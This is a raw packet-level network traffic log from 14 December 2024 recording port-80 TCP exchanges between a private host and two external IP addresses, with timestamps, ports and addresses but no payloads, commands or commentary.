Dec 14, 2024 14:56:20.449162006 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.449217081 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.450225115 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.450272083 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.450395107 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.451235056 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.451270103 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.451280117 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.451702118 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.451744080 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.451805115 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.451842070 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.452754974 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.452857018 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.452908993 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.453855991 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.453910112 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.453955889 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.454220057 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.455024958 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.455075979 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.455152035 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.455189943 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.456206083 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.456260920 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.590286016 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:20.591017962 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:20.671547890 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:20.671585083 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:20.671619892 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:20.671653986 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:20.671691895 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:20.671725035 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:20.671731949 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:20.671731949 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:20.671822071 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:20.671895027 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:20.671947002 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:20.671967030 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:20.671983004 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:20.671999931 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:20.672027111 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:20.791919947 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:20.791956902 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:20.792011976 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:20.795928001 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:20.836519003 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:20.863641024 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:20.911706924 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:20.911724091 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:20.911895037 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:20.957313061 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:20.957334995 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:20.957420111 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.028906107 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.028928041 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.028938055 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.028948069 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.028958082 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.028968096 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.028976917 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.028986931 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.028996944 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.029006004 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.029015064 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.029025078 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.029035091 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.029135942 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.029135942 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.029136896 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.029136896 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.029326916 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.029339075 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.029349089 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.029361010 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.029511929 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.029511929 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.034898996 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.034939051 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.035073042 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.039038897 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.039207935 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.068423986 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.068496943 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.068660021 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.077336073 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.077549934 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.077814102 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.081585884 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.081640005 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.081847906 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.089953899 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.090084076 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.090368032 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.149435997 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.149473906 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.149852037 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.153482914 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.153583050 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.153824091 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.161922932 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.162025928 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.162188053 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.170253992 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.170376062 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.170597076 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.176398993 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.176536083 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.176671028 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.181736946 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.181978941 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.182209015 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.187186003 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.187221050 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.187702894 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.192446947 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.192646980 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.192879915 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.197849989 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.197926044 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.198132038 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.203145981 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.203181982 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.203252077 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.208492041 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.208687067 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.208764076 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.213824034 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.214256048 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.214559078 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.219147921 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.219393969 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.219470024 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.224514961 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.224993944 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.225178003 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.229927063 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.229979038 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.230084896 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.235250950 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.235300064 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.235414982 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.240572929 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.240778923 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.241018057 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.245940924 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.245975018 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.246249914 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.251243114 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.251426935 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.251605988 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.256577015 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.270776033 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.270808935 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.270838976 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.273356915 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.273437977 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.274369955 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.274404049 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.274616003 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.279648066 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.279866934 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.279973984 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.285136938 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.285171032 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.285439014 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.290281057 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.290448904 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.290509939 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.295783997 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.295836926 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.295909882 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.301084042 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.301119089 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.301342010 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.306330919 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.306572914 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.306750059 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.311640978 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.311750889 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.311831951 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.317007065 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.317106009 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.317293882 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.322151899 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.322273970 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.322443962 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.326745987 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.326913118 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.327116013 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.331187963 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.331398010 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.331590891 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.335444927 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.335853100 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.335938931 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.339230061 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.339265108 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.339384079 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.342809916 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.342843056 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.343029022 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.346146107 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.346405029 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.346575022 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.349703074 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.349916935 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.350001097 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.353123903 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.353158951 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.353351116 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.356414080 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.356513023 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.356587887 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.359850883 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.360001087 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.360066891 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.363111973 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.363380909 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.363468885 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.366378069 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.366411924 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.366601944 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.369412899 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.369601965 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.369796038 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.372523069 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.372798920 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.373011112 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.375631094 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.375665903 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.375734091 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.378568888 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.378998995 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.379195929 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.381604910 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.381639957 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.382083893 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.384538889 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.384593964 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.384681940 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.387459040 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.387643099 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.387722015 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.390508890 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.390832901 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.391022921 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.393429995 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.393546104 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.393624067 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.396456003 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.396717072 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.396853924 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.453432083 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.453466892 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.453684092 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.454385042 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.454417944 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.454615116 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.456248999 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.456300974 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.456592083 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.458333969 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.458369017 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.460231066 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.460264921 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.460390091 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.460736990 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.462378025 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.462412119 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.462472916 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.464008093 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.464104891 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.464162111 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.465950966 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.466305971 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.468494892 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.468529940 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.468669891 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.468669891 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.470066071 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.470168114 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.470333099 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.471777916 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.471812010 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.471864939 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.473571062 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.473750114 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.473803043 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.475408077 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.475586891 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.475879908 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.477343082 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.477377892 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.477454901 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.479255915 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.479290009 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.479365110 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.480994940 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.481029987 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.481081009 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.482681990 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.482786894 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.484534979 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.484569073 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.484693050 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.486341953 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.486522913 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.486571074 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.487915039 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.487936020 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.488080025 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.488133907 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.489734888 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.489769936 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.489826918 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.491374969 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.491485119 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.492559910 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.493083954 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.493195057 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.494862080 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.494895935 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.495044947 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.495045900 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.496541977 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.496577024 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.496645927 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.498172045 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.498281956 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.498349905 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.499828100 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.499861956 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.499939919 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.501343966 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.501698971 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.503021002 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.503077030 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.503149033 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.504553080 CET	49859	80	192.168.2.5	185.81.68.147
